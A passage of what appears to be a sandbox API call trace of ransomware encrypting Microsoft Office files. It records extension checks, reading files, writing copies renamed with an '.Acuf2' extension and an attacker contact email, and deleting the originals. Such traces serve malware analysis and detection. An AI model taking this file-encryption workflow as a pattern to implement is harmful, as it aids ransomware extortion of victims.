	[0261.723] lstrlenW (lpString=".zip") returned 4
	[0261.723] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0261.723] lstrlenW (lpString=".rar") returned 4
	[0261.723] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0261.723] lstrlenW (lpString=".bz2") returned 4
	[0261.723] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0261.723] lstrlenW (lpString=".7z") returned 3
	[0261.723] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0261.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.724] lstrlenW (lpString=".dbf") returned 4
	[0261.724] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0261.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.724] lstrlenW (lpString=".1cd") returned 4
	[0261.724] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0261.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.724] lstrlenW (lpString=".jpg") returned 4
	[0261.724] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0261.724] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Acuf2") returned 1
	[0261.724] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20
	[0261.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.040] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=37760) returned 1
	[0262.040] CloseHandle (hObject=0x29c) returned 1
	[0262.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 0x20
	[0262.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.041] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.041] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.041] GetLastError () returned 0x0
	[0262.041] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x9380, lpOverlapped=0x0) returned 1
	[0262.043] WriteFile (in: hFile=0x358, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x9390, lpOverlapped=0x0) returned 1
	[0262.045] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.045] WriteFile (in: hFile=0x358, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0262.045] SetEndOfFile (hFile=0x358) returned 1
	[0262.045] CloseHandle (hObject=0x358) returned 1
	[0262.045] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.045] SetEndOfFile (hFile=0x29c) returned 1
	[0262.047] CloseHandle (hObject=0x29c) returned 1
	[0262.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 1
	[0262.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.048] lstrlenW (lpString=".doc") returned 4
	[0262.048] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0262.048] lstrlenW (lpString=".docx") returned 5
	[0262.048] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0262.048] lstrlenW (lpString=".pdf") returned 4
	[0262.048] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0262.048] lstrlenW (lpString=".xls") returned 4
	[0262.048] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0262.048] lstrlenW (lpString=".xlsx") returned 5
	[0262.048] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0262.048] lstrlenW (lpString=".ppt") returned 4
	[0262.048] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0262.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.048] lstrlenW (lpString=".zip") returned 4
	[0262.048] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0262.048] lstrlenW (lpString=".rar") returned 4
	[0262.048] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString=".bz2") returned 4
	[0262.049] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString=".7z") returned 3
	[0262.049] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.049] lstrlenW (lpString=".dbf") returned 4
	[0262.049] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.049] lstrlenW (lpString=".1cd") returned 4
	[0262.049] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.049] lstrlenW (lpString=".jpg") returned 4
	[0262.049] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.049] lstrlenW (lpString=".doc") returned 4
	[0262.049] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString=".docx") returned 5
	[0262.049] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0262.049] lstrlenW (lpString=".pdf") returned 4
	[0262.049] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString=".xls") returned 4
	[0262.049] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString=".xlsx") returned 5
	[0262.049] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0262.049] lstrlenW (lpString=".ppt") returned 4
	[0262.049] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.049] lstrlenW (lpString=".zip") returned 4
	[0262.049] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString=".rar") returned 4
	[0262.049] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0262.049] lstrlenW (lpString=".bz2") returned 4
	[0262.050] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0262.050] lstrlenW (lpString=".7z") returned 3
	[0262.050] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.050] lstrlenW (lpString=".dbf") returned 4
	[0262.050] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.050] lstrlenW (lpString=".1cd") returned 4
	[0262.050] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68
	[0262.050] lstrlenW (lpString=".jpg") returned 4
	[0262.050] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0262.050] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.050] lstrlenW (lpString="GRLEX.DLL") returned 9
	[0262.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.050] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=12672) returned 1
	[0262.051] CloseHandle (hObject=0x29c) returned 1
	[0262.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll")) returned 0x20
	[0262.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.051] lstrlenW (lpString=".doc") returned 4
	[0262.051] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.051] lstrlenW (lpString=".docx") returned 5
	[0262.051] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1
	[0262.051] lstrlenW (lpString=".pdf") returned 4
	[0262.051] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.051] lstrlenW (lpString=".xls") returned 4
	[0262.051] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.051] lstrlenW (lpString=".xlsx") returned 5
	[0262.051] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1
	[0262.051] lstrlenW (lpString=".ppt") returned 4
	[0262.051] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.051] lstrlenW (lpString=".zip") returned 4
	[0262.051] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.051] lstrlenW (lpString=".rar") returned 4
	[0262.051] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.051] lstrlenW (lpString=".bz2") returned 4
	[0262.051] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.051] lstrlenW (lpString=".7z") returned 3
	[0262.052] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.052] lstrlenW (lpString=".dbf") returned 4
	[0262.052] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.052] lstrlenW (lpString=".1cd") returned 4
	[0262.052] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.052] lstrlenW (lpString=".jpg") returned 4
	[0262.052] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.052] lstrlenW (lpString=".doc") returned 4
	[0262.052] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.052] lstrlenW (lpString=".docx") returned 5
	[0262.052] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1
	[0262.052] lstrlenW (lpString=".pdf") returned 4
	[0262.052] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.052] lstrlenW (lpString=".xls") returned 4
	[0262.052] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.052] lstrlenW (lpString=".xlsx") returned 5
	[0262.052] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1
	[0262.052] lstrlenW (lpString=".ppt") returned 4
	[0262.052] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.052] lstrlenW (lpString=".zip") returned 4
	[0262.052] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.052] lstrlenW (lpString=".rar") returned 4
	[0262.052] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.052] lstrlenW (lpString=".bz2") returned 4
	[0262.052] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.052] lstrlenW (lpString=".7z") returned 3
	[0262.052] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.053] lstrlenW (lpString=".dbf") returned 4
	[0262.053] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.053] lstrlenW (lpString=".1cd") returned 4
	[0262.053] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57
	[0262.053] lstrlenW (lpString=".jpg") returned 4
	[0262.053] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.053] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0262.053] lstrlenW (lpString="GROOVE.HXS") returned 10
	[0262.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.054] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=2278416) returned 1
	[0262.054] CloseHandle (hObject=0x29c) returned 1
	[0262.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0x20
	[0262.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0262.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.054] lstrlenW (lpString=".doc") returned 4
	[0262.054] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.054] lstrlenW (lpString=".docx") returned 5
	[0262.054] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1
	[0262.054] lstrlenW (lpString=".pdf") returned 4
	[0262.054] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.054] lstrlenW (lpString=".xls") returned 4
	[0262.054] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.054] lstrlenW (lpString=".xlsx") returned 5
	[0262.054] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1
	[0262.054] lstrlenW (lpString=".ppt") returned 4
	[0262.055] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.055] lstrlenW (lpString=".zip") returned 4
	[0262.055] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.055] lstrlenW (lpString=".rar") returned 4
	[0262.055] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.055] lstrlenW (lpString=".bz2") returned 4
	[0262.055] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.055] lstrlenW (lpString=".7z") returned 3
	[0262.055] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.055] lstrlenW (lpString=".dbf") returned 4
	[0262.055] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.055] lstrlenW (lpString=".1cd") returned 4
	[0262.055] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.055] lstrlenW (lpString=".jpg") returned 4
	[0262.055] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.055] lstrlenW (lpString=".doc") returned 4
	[0262.055] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.055] lstrlenW (lpString=".docx") returned 5
	[0262.055] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1
	[0262.055] lstrlenW (lpString=".pdf") returned 4
	[0262.055] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.055] lstrlenW (lpString=".xls") returned 4
	[0262.055] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.055] lstrlenW (lpString=".xlsx") returned 5
	[0262.055] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1
	[0262.055] lstrlenW (lpString=".ppt") returned 4
	[0262.055] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.056] lstrlenW (lpString=".zip") returned 4
	[0262.056] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.056] lstrlenW (lpString=".rar") returned 4
	[0262.056] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.056] lstrlenW (lpString=".bz2") returned 4
	[0262.056] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.056] lstrlenW (lpString=".7z") returned 3
	[0262.056] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.056] lstrlenW (lpString=".dbf") returned 4
	[0262.056] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.056] lstrlenW (lpString=".1cd") returned 4
	[0262.056] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58
	[0262.056] lstrlenW (lpString=".jpg") returned 4
	[0262.056] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.056] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0262.056] lstrlenW (lpString="GrooveIntlResource.dll") returned 22
	[0262.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.056] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=8794976) returned 1
	[0262.056] CloseHandle (hObject=0x29c) returned 1
	[0262.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll")) returned 0x20
	[0262.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0262.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.057] lstrlenW (lpString=".doc") returned 4
	[0262.057] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0262.057] lstrlenW (lpString=".docx") returned 5
	[0262.057] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0262.057] lstrlenW (lpString=".pdf") returned 4
	[0262.057] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0262.057] lstrlenW (lpString=".xls") returned 4
	[0262.057] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0262.057] lstrlenW (lpString=".xlsx") returned 5
	[0262.057] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0262.057] lstrlenW (lpString=".ppt") returned 4
	[0262.057] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0262.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.057] lstrlenW (lpString=".zip") returned 4
	[0262.057] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0262.057] lstrlenW (lpString=".rar") returned 4
	[0262.057] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0262.057] lstrlenW (lpString=".bz2") returned 4
	[0262.057] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0262.057] lstrlenW (lpString=".7z") returned 3
	[0262.057] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0262.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.058] lstrlenW (lpString=".dbf") returned 4
	[0262.058] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0262.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.058] lstrlenW (lpString=".1cd") returned 4
	[0262.058] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0262.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.058] lstrlenW (lpString=".jpg") returned 4
	[0262.058] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0262.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.058] lstrlenW (lpString=".doc") returned 4
	[0262.058] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0262.058] lstrlenW (lpString=".docx") returned 5
	[0262.058] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0262.058] lstrlenW (lpString=".pdf") returned 4
	[0262.058] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0262.058] lstrlenW (lpString=".xls") returned 4
	[0262.058] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0262.058] lstrlenW (lpString=".xlsx") returned 5
	[0262.058] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0262.058] lstrlenW (lpString=".ppt") returned 4
